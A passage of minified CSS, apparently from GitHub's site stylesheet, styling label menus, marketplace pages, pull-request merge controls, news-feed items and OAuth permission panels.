!important}.label-select-menu .select-menu-item{position:relative}.label-select-menu .select-menu-item:hover,.label-select-menu .select-menu-item:focus,.label-select-menu .select-menu-item[aria-selected=true],.label-select-menu .select-menu-item.navigation-focus{color:inherit;background-color:var(--color-neutral-subtle)}.label-select-menu .select-menu-item:hover .select-menu-item-icon,.label-select-menu .select-menu-item:focus .select-menu-item-icon,.label-select-menu .select-menu-item[aria-selected=true] .select-menu-item-icon,.label-select-menu .select-menu-item.navigation-focus .select-menu-item-icon{color:transparent}.label-select-menu .select-menu-item:hover .label-options-icon,.label-select-menu .select-menu-item:focus .label-options-icon,.label-select-menu .select-menu-item[aria-selected=true] .label-options-icon,.label-select-menu .select-menu-item.navigation-focus .label-options-icon{color:inherit}.label-select-menu>form{position:relative}.subnav .btn+.issues-search{padding-right:8px;border-right:1px solid var(--color-border-muted)}.reaction-sort-item{float:left;width:39px;padding:4px;margin-top:4px;text-align:center;pointer-events:all;border:solid 1px transparent;border-radius:6px;opacity:.7}.reaction-sort-item:focus,.reaction-sort-item:hover{text-decoration:none;background-color:var(--color-accent-emphasis);opacity:1}.reaction-sort-item[aria-checked=true]{background-color:var(--color-accent-subtle);border-color:var(--color-accent-emphasis);opacity:1}.issue-keyword{border-bottom:1px dotted var(--color-border-default)}.issue-keyword:hover{border-bottom:0}.new-label-color-dimensions{width:24px;height:24px}.select-menu-item[aria-selected=true]>.octicon.label-options-icon,.select-menu-item.navigation-focus>.octicon.label-options-icon{color:var(--color-fg-default)}.new-label-color-input:invalid{color:var(--color-danger-fg)}.issue-form-textarea{height:100px !important;min-height:100px !important}.issue-forms-wysiwyg-container .comment-form-head{background:var(--color-canvas-subtle) !important}.issue-forms-wysiwyg-container .comment-body{border-bottom:0 !important}.issue-form-body>:first-child{margin-top:0 !important}.issue-create-branch-menu-action{color:var(--color-fg-default)}.issue-create-branch-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.issue-create-branch-menu-action:focus:not(:disabled){color:var(--color-fg-default);background-color:var(--color-neutral-subtle)}react-app{display:flex !important}react-app>div{width:100%}.repository-lang-stats{position:relative}.repository-lang-stats ol.repository-lang-stats-numbers li{display:table-cell;width:1%;padding:8px 4px;text-align:center;white-space:nowrap;border-bottom:0}.repository-lang-stats ol.repository-lang-stats-numbers li span.percent{float:none}.repository-lang-stats ol.repository-lang-stats-numbers li>a,.repository-lang-stats ol.repository-lang-stats-numbers li>span{font-weight:600;color:var(--color-fg-muted);text-decoration:none}.repository-lang-stats ol.repository-lang-stats-numbers li .lang{color:var(--color-fg-default)}.repository-lang-stats ol.repository-lang-stats-numbers li .language-color{display:inline-block;width:10px;height:10px;border-radius:50%}.repository-lang-stats ol.repository-lang-stats-numbers li a:hover{background:transparent}.repository-lang-stats-graph{width:100%;overflow:hidden;white-space:nowrap;cursor:pointer;-webkit-user-select:none;user-select:none;border:1px solid var(--color-border-default);border-top:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color{line-height:8px;text-indent:-9999px}.repository-lang-stats-graph .language-color:first-child{border-bottom-left-radius:6px}.repository-lang-stats-graph .language-color:last-child{border-bottom-right-radius:6px}.repository-lang-stats-graph .language-color:not(:first-child){border-left:1px solid var(--color-canvas-default)}.facebox-loading,.octocat-spinner{min-height:64px;background-image:url("/images/spinners/octocat-spinner-64.gif");background-repeat:no-repeat;background-position:center center}.octocat-spinner-32{min-height:32px;background-image:url("/images/spinners/octocat-spinner-32.gif");background-repeat:no-repeat;background-position:center center}@media only screen and (-webkit-min-device-pixel-ratio: 2),only screen and (-moz-min-device-pixel-ratio: 2),only screen and (min-device-pixel-ratio: 2),only screen and (min-resolution: 192dpi),only screen and (min-resolution: 2dppx){.facebox-loading,.octocat-spinner{background-image:url("/images/spinners/octocat-spinner-128.gif");background-size:64px 64px}.octocat-spinner-32{background-image:url("/images/spinners/octocat-spinner-64.gif");background-size:32px 32px}}.map-container .activity{top:120px;left:340px;z-index:99999}.map-container .is-graph-loading .activity{display:block}.map{height:350px}.map-background{pointer-events:all;fill:#0366d6}.map-background-zoom{cursor:grab}.map-land{fill:none;stroke:#256aae;stroke-width:2;shape-rendering:crispedges}.map-country{fill:#d7c7ad;shape-rendering:crispedges;cursor:pointer}.map-country.hk{stroke:#a5967e}.map-country:hover{fill:#c8b28e}.map-country.active{fill:#f6e5ca}.map-borders{fill:none;stroke:#a5967e;shape-rendering:crispedges}.map-graticule{pointer-events:none;fill:none;stroke:#fff;stroke-opacity:.2;shape-rendering:crispedges}.map-graticule :nth-child(2n){stroke-dasharray:2,2}.map-legend .map-legend-circle{fill-opacity:0;stroke:#fff;stroke-width:1.5}.map-legend .map-legend-text{font-size:12px;fill:#fff;text-anchor:end}.map-legend .map-legend-link{stroke:#fff;stroke-width:1.5}.map-point{pointer-events:none;fill:#f66a0a}.map-point:hover{fill:#e36209}.map-country-info{top:8px;right:8px;pointer-events:none;opacity:0}.MarketplaceJumbotron{background-color:var(--color-neutral-emphasis);background-image:url("/images/modules/marketplace/bg-hero.svg");background-repeat:repeat-y;background-position:center top;background-size:150% auto}@media(min-width: 768px){.MarketplaceJumbotron{background-repeat:no-repeat;background-size:cover}}.CircleBadge--feature{position:relative;top:0;transition:top .15s ease-in,box-shadow .12s ease-in}.MarketplaceFeature{min-width:250px}.MarketplaceFeature-text{opacity:.7;transition:opacity .12s ease-in}.MarketplaceFeature-link:hover .CircleBadge--feature{top:-3px;box-shadow:0 3px 8px 0 rgba(0,0,0,.2)}.MarketplaceFeature-link:hover .MarketplaceFeature-text{opacity:1}.MarketplaceFeature-link:active .CircleBadge--feature{top:0;box-shadow:0}.MarketplaceSideNav{-webkit-overflow-scrolling:touch;background-color:var(--color-canvas-subtle)}@media(min-width: 768px){.MarketplaceSideNav{background-color:var(--color-canvas-default);border-right:1px solid var(--color-border-default)}}.ScreenshotCarousel{border:1px solid var(--color-border-default);border-radius:6px}.ScreenshotCarousel-screenshot{padding:16px}.ScreenshotCarousel-nav{display:flex;overflow-x:auto;align-items:top;box-shadow:inset 0 1px 0 var(--color-border-default)}.ScreenshotCarousel-navitem{width:20%;min-width:120px;padding:16px;cursor:pointer;border-right:1px solid var(--color-border-default)}.ScreenshotCarousel-navitem:last-child{border-right:0}.ScreenshotCarousel-navitem.selected{background-color:var(--color-canvas-subtle);box-shadow:inset 0 0 4px rgba(36,41,46,.15)}.marketplace-listing-screenshot-container{width:175px;min-height:175px;background-repeat:no-repeat;background-position:center center;background-size:cover}.marketplace-listing-screenshot-zoom{display:none;cursor:move}.marketplace-listing-details-sidebar{order:2}@media(min-width: 768px){.marketplace-listing-details-sidebar{order:1}}.marketplace-listing-details-description{order:1}@media(min-width: 768px){.marketplace-listing-details-description{order:2}}.marketplace-listing-screenshot-link{height:100px;cursor:move}.marketplace-listing-screenshot-link:hover .marketplace-listing-screenshot-zoom,.marketplace-listing-screenshot-link:focus .marketplace-listing-screenshot-zoom{top:0;left:0;display:block;width:100%;height:100%;padding-top:24px;background-color:rgba(255,255,255,.75)}.marketplace-integratable-logo{width:40px;height:40px}.marketplace-listing-save-notice,.marketplace-listing-save-error{display:none;opacity:0;transition:opacity .15s linear}.marketplace-listing-save-notice.visible,.marketplace-listing-save-error.visible{display:inline-block;opacity:1}.marketplace-listing-screenshot-delete-form{position:absolute;bottom:-24px;width:100%;text-align:center}.marketplace-plan-dollar-field-container .price-note{display:none}.marketplace-plan-dollar-field-container.is-errored .price-note{display:block}.marketplace-plan-dollar-field-container.is-errored .form-control{border-color:var(--color-danger-emphasis)}.marketplace-plan-emphasis{color:var(--color-fg-default)}.selected .marketplace-plan-emphasis{color:var(--color-fg-on-emphasis)}.marketplace-plan-unit-name-preview::before{content:"per "}.marketplace-plan-per-time{clear:right}.marketplace-billing-modal{width:540px;max-height:90vh;margin-top:5vh}.marketplace-listing-markdown,.marketplace-url-link{word-wrap:break-word;white-space:pre-wrap}.marketplace-listing-markdown{line-height:1.4}.marketplace-product-callout{border-color:var(--color-border-default) !important}.marketplace-product-callout::before,.marketplace-product-callout::after{display:none}.marketplace-product-callout .branch-action-item-icon{color:var(--color-fg-muted);background-color:var(--color-canvas-subtle)}.filter-item.selected .Label--secondary{color:var(--color-fg-on-emphasis);border-color:var(--color-fg-on-emphasis)}.MarketplaceEdit-body{min-height:570px}.MarketplaceEdit-body .pricing-model-selector{width:calc(100% - 12px);max-width:100% !important}.MarketplaceEdit-body .menu{border-right:0;border-left:0;border-radius:0}.MarketplaceEdit-body .menu-item{padding:12px 16px;background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected{background:var(--color-canvas-default)}.MarketplaceEdit-body .menu-item:hover{background:var(--color-canvas-subtle)}.MarketplaceEdit-body .menu-item.selected::before{position:absolute;top:0;bottom:0;left:0;width:3px;content:"";background-color:var(--color-severe-emphasis)}.MarketplaceEdit-body .menu-item:first-child::before{border-top-left-radius:0}.MarketplaceEdit-body .CircleIcon{display:inline-block;width:32px;height:32px;font-weight:600;line-height:32px;color:var(--color-fg-muted);text-align:center;background:#e6ebf1;border-radius:50%}.MarketplaceEdit-body .CircleIcon .octicon{display:inline-block}.MarketplaceInsights-graph .insights-month .tick:nth-child(2n){visibility:hidden}.BarChart{border-radius:6px}.BarChart-bar{height:10px;border-right:1px solid var(--color-canvas-default)}.BarChart-bar--green{background-color:var(--color-success-emphasis)}.BarChart-bar--orange{background-color:var(--color-severe-emphasis)}.BarChart-bar--yellow{background-color:var(--color-attention-emphasis)}.CircleBadge--tiny{width:32px;height:32px}.CircleBadge--github{position:relative}.CircleBadge--github.CircleBadge--large::after{right:5px;bottom:5px}.CircleBadge--github.CircleBadge--small::after{right:-5px;bottom:-5px}.CircleBadge--github::after{position:absolute;right:0;bottom:0;display:block;width:22px;height:22px;padding:4px;line-height:0;content:"";background:var(--color-canvas-default) url("data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48c3ZnIHdpZHRoPSIyMnB4IiBoZWlnaHQ9IjIycHgiIHZpZXdCb3g9IjAgMCAyMiAyMiIgdmVyc2lvbj0iMS4xIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIj4gICAgICAgIDx0aXRsZT5TaGFwZSBDb3B5PC90aXRsZT4gICAgPGRlc2M+Q3JlYXRlZCB3aXRoIFNrZXRjaC48L2Rlc2M+ICAgIDxkZWZzPjwvZGVmcz4gICAgPGcgaWQ9IktpdGNoZW4tc2luayIgc3Ryb2tlPSJub25lIiBzdHJva2Utd2lkdGg9IjEiIGZpbGw9Im5vbmUiIGZpbGwtcnVsZT0iZXZlbm9kZCI+ICAgICAgICA8ZyBpZD0iT2N0aWNvbnMiIHRyYW5zZm9ybT0idHJhbnNsYXRlKC0zNzAuMDAwMDAwLCAtMTU4NC4wMDAwMDApIiBmaWxsPSIjMUIxRjIzIj4gICAgICAgICAgICA8cGF0aCBkPSJNMzgxLDE1ODQgQzM3NC45MjI1LDE1ODQgMzcwLDE1ODguOTIyNSAzNzAsMTU5NSBDMzcwLDE1OTkuODY3NSAzNzMuMTQ4NzUsMTYwMy45Nzg3NSAzNzcuNTIxMjUsMTYwNS40MzYyNSBDMzc4LjA3MTI1LDE2MDUuNTMyNSAzNzguMjc3NSwxNjA1LjIwMjUgMzc4LjI3NzUsMTYwNC45MTM3NSBDMzc4LjI3NzUsMTYwNC42NTI1IDM3OC4yNjM3NSwxNjAzLjc4NjI1IDM3OC4yNjM3NSwxNjAyLjg2NSBDMzc1LjUsMTYwMy4zNzM3NSAzNzQuNzg1LDE2MDIuMTkxMjUgMzc0LjU2NSwxNjAxLjU3MjUgQzM3NC40NDEyNSwxNjAxLjI1NjI1IDM3My45MDUsMTYwMC4yOCAzNzMuNDM3NSwxNjAwLjAxODc1IEMzNzMuMDUyNSwxNTk5LjgxMjUgMzcyLjUwMjUsMTU5OS4zMDM3NSAzNzMuNDIzNzUsMTU5OS4yOSBDMzc0LjI5LDE1OTkuMjc2MjUgMzc0LjkwODc1LDE2MDAuMDg3NSAzNzUuMTE1LDE2MDAuNDE3NSBDMzc2LjEwNSwxNjAyLjA4MTI1IDM3Ny42ODYyNSwxNjAxLjYxMzc1IDM3OC4zMTg3NSwxNjAxLjMyNSBDMzc4LjQxNSwxNjAwLjYxIDM3OC43MDM3NSwxNjAwLjEyODc1IDM3OS4wMiwxNTk5Ljg1Mzc1IEMzNzYuNTcyNSwxNTk5LjU3ODc1IDM3NC4wMTUsMTU5OC42MyAzNzQuMDE1LDE1OTQuNDIyNSBDMzc0LjAxNSwxNTkzLjIyNjI1IDM3NC40NDEyNSwxNTkyLjIzNjI1IDM3NS4xNDI1LDE1OTEuNDY2MjUgQzM3NS4wMzI1LDE1OTEuMTkxMjUgMzc0LjY0NzUsMTU5MC4wNjM3NSAzNzUuMjUyNSwxNTg4LjU1MTI1IEMzNzUuMjUyNSwxNTg4LjU1MTI1IDM3Ni4xNzM3NSwxNTg4LjI2MjUgMzc4LjI3NzUsMTU4OS42Nzg3NSBDMzc5LjE1NzUsMTU4OS40MzEyNSAzODAuMDkyNSwxNTg5LjMwNzUgMzgxLjAyNzUsMTU4OS4zMDc1IEMzODEuOTYyNSwxNTg5LjMwNzUgMzgyLjg5NzUsMTU4OS40MzEyNSAzODMuNzc3NSwxNTg5LjY3ODc1IEMzODUuODgxMjUsMTU4OC4yNDg3NSAzODYuODAyNSwxNTg4LjU1MTI1IDM4Ni44MDI1LDE1ODguNTUxMjUgQzM4Ny40MDc1LDE1OTAuMDYzNzUgMzg3LjAyMjUsMTU5MS4xOTEyNSAzODYuOTEyNSwxNTkxLjQ2NjI1IEMzODcuNjEzNzUsMTU5Mi4yMzYyNSAzODguMDQsMTU5My4yMTI1IDM4OC4wNCwxNTk0LjQyMjUgQzM4OC4wNCwxNTk4LjY0Mzc1IDM4NS40Njg3NSwxNTk5LjU3ODc1IDM4My4wMjEyNSwxNTk5Ljg1Mzc1IEMzODMuNDIsMTYwMC4xOTc1IDM4My43NjM3NSwxNjAwLjg1NzUgMzgzLjc2Mzc1LDE2MDEuODg4NzUgQzM4My43NjM3NSwxNjAzLjM2IDM4My43NSwxNjA0LjU0MjUgMzgzLjc1LDE2MDQuOTEzNzUgQzM4My43NSwxNjA1LjIwMjUgMzgzLjk1NjI1LDE2MDUuNTQ2MjUgMzg0LjUwNjI1LDE2MDUuNDM2MjUgQzM4OC44NTEyNSwxNjAzLjk3ODc1IDM5MiwxNTk5Ljg1Mzc1IDM5MiwxNTk1IEMzOTIsMTU4OC45MjI1IDM4Ny4wNzc1LDE1ODQgMzgxLDE1ODQgTDM4MSwxNTg0IFoiIGlkPSJTaGFwZS1Db3B5Ij48L3BhdGg+ICAgICAgICA8L2c+ICAgIDwvZz48L3N2Zz4=") center no-repeat;border-radius:100px}body.page-responsive .flash-full .container{width:100%;max-width:980px}.ClipboardButton{position:relative}.ClipboardButton.ClipboardButton--success{border-color:var(--color-success-emphasis);box-shadow:0 0 0 .2em rgba(52,208,88,.4)}.ClipboardButton.ClipboardButton--success:focus{box-shadow:0 0 0 .2em rgba(52,208,88,.4)}@media(min-width: 768px){.MarketplacePlan--sticky{position:sticky;top:24px;z-index:999}}@media(max-width: 544px){.Box--full{right:0;bottom:0;left:0;width:100%;max-width:none;max-height:none;margin:0;border-radius:0;transform:none}}.MarketplaceBackground-wrapper{position:relative}.MarketplaceBackground-recommendations{position:relative;top:-90px;width:313px;margin-top:-150px;margin-bottom:-120px;overflow:hidden}.MarketplaceBackground-recommendations img{position:relative;top:0;right:225px;width:549px}@media(min-width: 544px){.MarketplaceBackground-recommendations{position:relative;width:463px;margin-top:-180px;margin-bottom:70px;overflow:hidden}.MarketplaceBackground-recommendations img{right:305px;width:730px}}@media(min-width: 768px){.MarketplaceBackground-recommendations{position:absolute;top:-228px;right:-69px;width:633px}.MarketplaceBackground-recommendations img{right:195px;width:750px}}@media(min-width: 1012px){.MarketplaceBackground-recommendations{top:-268px;right:0;width:1040px}.MarketplaceBackground-recommendations img{right:-115px;width:900px}}@media(min-width: 1280px){.MarketplaceBackground-recommendations{top:-325px;right:105px;width:1040px}.MarketplaceBackground-recommendations img{right:0;width:1040px}}.MarketplaceBackground-buffer{padding-top:40px;margin-top:-146px;background:var(--color-canvas-subtle)}@media(min-width: 544px){.MarketplaceBackground-buffer{padding-top:120px;margin-top:-233px}}@media(min-width: 768px){.MarketplaceBackground-buffer{margin-top:-109px}}@media(min-width: 1012px){.MarketplaceBackground-buffer{margin-top:-89px}}.MarketplaceHeader{overflow:hidden}.Link--muted.filter-item.selected{color:var(--color-fg-on-emphasis) !important}.MarketplaceBody{position:relative}@media(min-width: 544px){.MarketplaceBody{top:-72px;z-index:2}}.MarketplaceDetails .octicon{transition:transform 200ms linear;transform:scaleY(1)}.MarketplaceDetails[open] .octicon{transform:scaleY(-1)}.MarketplaceAnnouncement{color:#fff;background:linear-gradient(90deg, #257bf9, #2426ca)}.MarketplaceAnnouncement-icon{width:80px;opacity:.9}.MarketplaceAnnouncement-description{opacity:.7}.member-list-item .table-list-cell-checkbox{width:30px}.member-list-item.adminable .member-info{padding-left:4px}.member-list-item .member-avatar-cell{width:64px}.triage-mode .none-selected{display:none}.merge-branch-heading{margin:0;line-height:1;color:var(--color-fg-default)}.merge-branch-description{margin-right:160px;margin-bottom:-4px;line-height:1.6em;color:var(--color-fg-muted)}.alt-merge-options{display:inline-block;margin-bottom:0;margin-left:4px;vertical-align:middle}.merged .merge-branch-description .commit-ref .css-truncate-target{max-width:180px}.merge-branch-prh-output{margin-top:8px}.merge-branch-form,.queue-branch-form{display:none;padding-left:60px}.merge-branch-manually{display:none;padding-top:16px;margin-top:16px;background-color:transparent;border-top:1px solid var(--color-border-default)}.merge-branch-manually p{margin-bottom:0}.merge-branch-manually h3{margin-bottom:8px}.merge-branch-manually .intro{padding-bottom:8px;margin-top:0}.merge-branch-manually .step{margin:16px 0 4px}.open .merge-branch-manually{display:block}.select-menu-merge-method{width:310px}.select-menu-merge-method .select-menu-item:hover,.select-menu-merge-method .select-menu-item:hover .octicon,.select-menu-merge-method .select-menu-item:hover .select-menu-item-text{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.select-menu-merge-method .select-menu-item:hover .description{color:var(--color-fg-on-emphasis)}.merge-pr.is-squashing .commit-author-fields{display:none}.merge-pr.is-rebasing .commit-form-fields{display:none;transition:opacity .15s linear 0s,margin-top .25s ease .1s}.merge-pr .btn-group-merge,.merge-pr .btn-group-merge-group,.merge-pr .merge-queue-info,.merge-pr .merge-queue-group-time-to-merge,.merge-pr.is-squashing .btn-group-squash,.merge-pr.is-rebasing .btn-group-rebase,.merge-pr.is-updating-via-merge .btn-group-update-merge,.merge-pr.is-updating-via-rebase .btn-group-update-rebase,.merge-pr.is-merging-solo .btn-group-merge-solo,.merge-pr.is-merging-solo .merge-queue-solo-time-to-merge,.merge-pr.is-merging-jump .btn-group-merge-jump,.merge-pr.is-merging-group .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-directly,.merge-pr.is-merging .merging-directly-warning{display:inline-block}.merge-pr .merging-body,.merge-pr .rebasing-body,.merge-pr .squashing-body,.merge-pr .merging-body-merge-warning,.merge-pr .merging-directly-warning,.merge-pr.is-merging .merge-queue-info,.merge-pr.is-merging-group .merge-queue-solo-time-to-merge,.merge-pr.is-merging-solo .merge-queue-group-time-to-merge,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body{display:none}.merge-pr.is-merging .merging-body,.merge-pr.is-merging-solo .merging-body,.merge-pr.is-merging-jump .merging-body,.merge-pr.is-merging-group .merging-body,.merge-pr.is-rebasing .rebasing-body,.merge-pr.is-squashing .squashing-body,.merge-pr.is-merging .branch-action-state-error-if-merging .merging-body-merge-warning{display:block}.merge-pr .btn-group-squash,.merge-pr .btn-group-merge-solo,.merge-pr .btn-group-merge-jump,.merge-pr .btn-group-merge-directly,.merge-pr .btn-group-rebase,.merge-pr .btn-group-update-merge,.merge-pr .btn-group-update-rebase,.merge-pr.is-squashing .btn-group-merge,.merge-pr.is-rebasing .btn-group-merge,.merge-pr.is-merging-solo .btn-group-merge-group,.merge-pr.is-merging-jump .btn-group-merge-group,.merge-pr.is-merging .btn-group-merge-group{display:none;margin-left:0}.commit-form-fields{transition:opacity .15s linear .1s,margin-top .25s ease 0s}.unavailable-merge-method{display:block;margin-top:4px;color:var(--color-severe-fg)}[aria-selected=true].disabled .unavailable-merge-method,.navigation-focus.disabled .unavailable-merge-method{color:var(--color-fg-on-emphasis)}.try-merge-queue-popover{left:265px}@media(min-width: 1012px){.try-merge-queue-popover{left:272px}}.try-merge-queue-beta-flag{vertical-align:middle}.network .network-tree{vertical-align:middle}.network .gravatar{margin-right:4px;vertical-align:middle;border-radius:6px}.network .octicon{display:inline-block;width:16px;margin-left:2px;text-align:center;vertical-align:middle}.internal-repo-avatar{right:4px;bottom:-4px;border:solid 2px var(--color-canvas-default)}.owner-reponame dl.form-group{margin-top:4px;margin-bottom:0}.owner-reponame .slash{float:left;padding-top:32px;margin:0 8px;font-size:20px;color:var(--color-fg-muted)}.reponame-suggestion{color:var(--color-success-fg);cursor:pointer}.upgrade-upsell{padding-left:32px}.cc-upgrade{padding-left:16px}.news .release{margin-top:0;margin-bottom:0}.news blockquote{color:var(--color-fg-muted)}.news .alert{position:relative;padding:0 0 1em 45px;overflow:hidden;border-top:1px solid #eff3f6}.news .alert .commits{padding-left:40px}.news .alert .css-truncate.css-truncate-target,.news .alert .css-truncate .css-truncate-target{max-width:180px}.news .alert p{margin:0}.news .alert .markdown-body blockquote{padding:0 0 0 40px;border-width:0}.news .alert .octicon{color:var(--color-fg-muted)}.news .alert .dashboard-event-icon{position:absolute;top:18px;left:22px;transform:translateX(-50%)}.news .alert .body{padding:1em 0 0;overflow:hidden;font-size:14px;border-bottom:0}.news .alert .time{font-size:12px;color:var(--color-fg-muted)}.news .alert .title{padding:0;font-weight:600}.news .alert .title .subtle{color:var(--color-fg-muted)}.news .alert .gravatar{float:left;margin-right:.6em;line-height:0;background-color:var(--color-canvas-default);border-radius:6px}.news .alert .simple .title{display:inline-block;font-size:14px;font-weight:400;color:var(--color-fg-muted)}.news .alert .simple .time{display:inline-block}.news .alert:first-child{border-top:0}.news .alert:first-child .body{padding-top:0}.news .alert:first-child .dashboard-event-icon{top:0}.news .github-welcome .done{color:var(--color-fg-muted);text-decoration:line-through}.news .commits li{margin-top:.15em;list-style-type:none}.news .commits li.more{padding-top:2px;font-size:12px}.news .commits li .committer{display:none;padding-left:.5em}.news .commits li img{margin:0 1px 0 0;vertical-align:middle;background-color:var(--color-canvas-default);border-radius:6px}.news .commits li img.emoji{padding:0;margin:0;border:0}.news .commits li .message{display:inline-block;max-width:390px;margin-top:2px;overflow:hidden;font-size:14px;line-height:1.3;text-overflow:ellipsis;white-space:nowrap;vertical-align:top}.news div.message,.news li blockquote{display:inline;font-size:14px;color:var(--color-fg-muted)}.oauth-permissions-details{position:relative;padding:16px;margin:0;list-style:none;border-bottom:1px solid var(--color-border-muted)}.oauth-permissions-details:first-child{border-radius:6px 6px 0 0}.oauth-permissions-details:last-child{border:0;border-radius:0 0 6px 6px}.oauth-permissions-details.oauth-public-data-only{border-radius:6px}.oauth-permissions-details .markdown-body{font-size:12px}.oauth-permissions-details .content{display:none;margin-left:45px}.oauth-permissions-details .content .form-checkbox{margin-left:0}.oauth-permissions-details .content .form-checkbox:last-child{margin-bottom:0}.oauth-permissions-details .octicon{float:left;color:var(--color-fg-muted);text-align:center}.oauth-permissions-details .permission-help{font-size:12px}.oauth-permissions-details .permission-help ul{padding-left:16px;margin:1em 0}.oauth-permissions-details .permission-summary{margin-left:45px}.oauth-permissions-details .permission-summary .access-details{position:relative;color:var(--color-fg-muted)}.oauth-permissions-details .permission-summary em.highlight{position:relative;padding:2px 4px;margin-right:-2px;margin-left:-4px;font-style:normal;color:var(--color-fg-default);background:var(--color-search-keyword-hl);border-radius:6px}.oauth-permissions-details .permission-title{display:block;color:var(--color-fg-default)}.oauth-permissions-details a.btn-sm{float:right;margin-top:4px}.oauth-permissions-details.open a.btn-sm{background-color:#dcdcdc;background-image:none;border-color:#b5b5b5;box-shadow:inset 0 2px 4px rgba(0,0,0,.15)}.oauth-permissions-details.open .content{display:block}.oauth-permissions-details.default:not(.delete) .no-access,.oauth-permissions-details.default:not(.delete) .default-access,.oauth-permissions-details.none .no-access,.oauth-permissions-details.none .default-access{display:inline}.oauth-permissions-details.default:not(.delete) .access-details,.oauth-permissions-details.default:not(.delete) .permission-title,.oauth-permissions-details.none .access-details,.oauth-permissions-details.none .permission-title{color:var(--color-fg-muted)}.oauth-permissions-details.default:not(.delete) .octicon,.oauth-permissions-details.none .octicon{color:var(--color-fg-muted)}.oauth-permissions-details.default .default-access{display:inline}.oauth-permissions-details.full .full-access{display:inline}.oauth-details-toggle{position:absolute;top:0;right:0;padding:16px 16px}.oauth-details-toggle .octicon-chevron-up{display:none}.open .oauth-details-toggle .octicon-chevron-down{display:none}.open .oauth-details-toggle .octicon-chevron-up{display:block}.oauth-user-permissions .full-access,.oauth-user-permissions .limited-access,.oauth-user-permissions .limited-access-emails-followers,.oauth-user-permissions .limited-access-emails-profile,.oauth-user-permissions .limited-access-followers-profile,.oauth-user-permissions .limited-access-profile,.oauth-user-permissions .limited-access-followers,.oauth-user-permissions .limited-access-emails,.oauth-user-permissions .no-access{display:none}.oauth-user-permissions.limited.limited-email .limited-access-emails{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile .limited-access-emails-profile{display:inline}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-profile,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-emails-followers,.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access-followers-profile{display:none}.oauth-user-permissions.limited.limited-email.limited-profile.limited-follow .limited-access{display:inline}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails,.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-followers{display:none}.oauth-user-permissions.limited.limited-email.limited-follow .limited-access-emails-followers{display:inline}.oauth-user-permissions.limited.limited-follow .limited-access-followers{display:inline}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers,.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-profile{display:none}.oauth-user-permissions.limited.limited-follow.limited-profile .limited-access-followers-profile{display:inline}.oauth-user-permissions.limited.limited-profile .limited-access-profile{display:inline}.oauth-repo-permissions .default-access,.oauth-repo-permissions .public-access,.oauth-repo-permissions .limited-repo-invite-access,.oauth-repo-permissions .full-access{display:none}.oauth-repo-permissions.full .full-access{display:inline}.oauth-repo-permissions.limited-repo-invite .limited-repo-invite-access{display:inline}.oauth-repo-permissions.public .public-access{display:inline}.oauth-repo-permissions.default .default-access{display:inline}.oauth-delete-repo-permissions .octicon-alert{color:var(--color-danger-fg)}.oauth-repo-status-permissions .no-access,.oauth-repo-status-permissions .full-access,.oauth-repo-deployment-permissions .no-access,.oauth-repo-deployment-permissions .full-access{display:none}.oauth-notifications-permissions .no-access,.oauth-notifications-permissions .read-access,.oauth-notifications-permissions .via-public-access,.oauth-notifications-permissions .via-full-access{display:none}.oauth-notifications-permissions.read .read-access{display:inline}.oauth-notifications-permissions.via-public .via-public-access{display:inline}.oauth-notifications-permissions.via-public .octicon{display:none}.oauth-notifications-permissions.via-full .via-full-access{display:inline}.oauth-gist-permissions .no-access,.oauth-gist-permissions .full-access{display:none}.oauth-granular-permissions .no-access,.oauth-granular-permissions .read-access,.oauth-granular-permissions .write-access,.oauth-granular-permissions .full-access{display:none}.oauth-granular-permissions.none .no-access{display:inline}.oauth-granular-permissions.read .read-access{display:inline}.oauth-granular-permissions.write .write-access{display:inline}.oauth-granular-permissions.full .full-access{display:inline}.oauth-no-description{color:var(--color-fg-muted)}.oauth-org-access-details{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item:hover{background:var(--color-canvas-subtle)}.oauth-org-access-details a:hover{text-decoration:none}.oauth-org-access-details .boxed-group-inner{border:0;border-radius:6px}.oauth-org-access-details .oauth-org-item{line-height:24px}.oauth-org-access-details .oauth-org-item:first-child{border-radius:6px 6px 0 0}.oauth-org-access-details .oauth-org-item .loading-indicator{display:none;margin:4px}.oauth-org-access-details .oauth-org-item.on .authorized-tools{display:block}.oauth-org-access-details .oauth-org-item.on .unauthorized-tools{display:none}.oauth-org-access-details .oauth-org-item.on strong{color:var(--color-fg-default)}.oauth-org-access-details .oauth-org-item.on .octicon-check{display:inline}.oauth-org-access-details .oauth-org-item.on .octicon-x{display:none}.oauth-org-access-details .oauth-org-item.revoked{background:var(--color-canvas-default)}.oauth-org-access-details .oauth-org-item.revoked .unauthorized-tools,.oauth-org-access-details .oauth-org-item.revoked .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.revoked .octicon-x{color:var(--color-danger-fg)}.oauth-org-access-details .oauth-org-item.loading .unauthorized-tools,.oauth-org-access-details .oauth-org-item.loading .authorized-tools{display:none}.oauth-org-access-details .oauth-org-item.loading .loading-indicator{display:block}.oauth-org-access-details .oauth-org-item .authorized-tools{display:none}.oauth-org-access-details 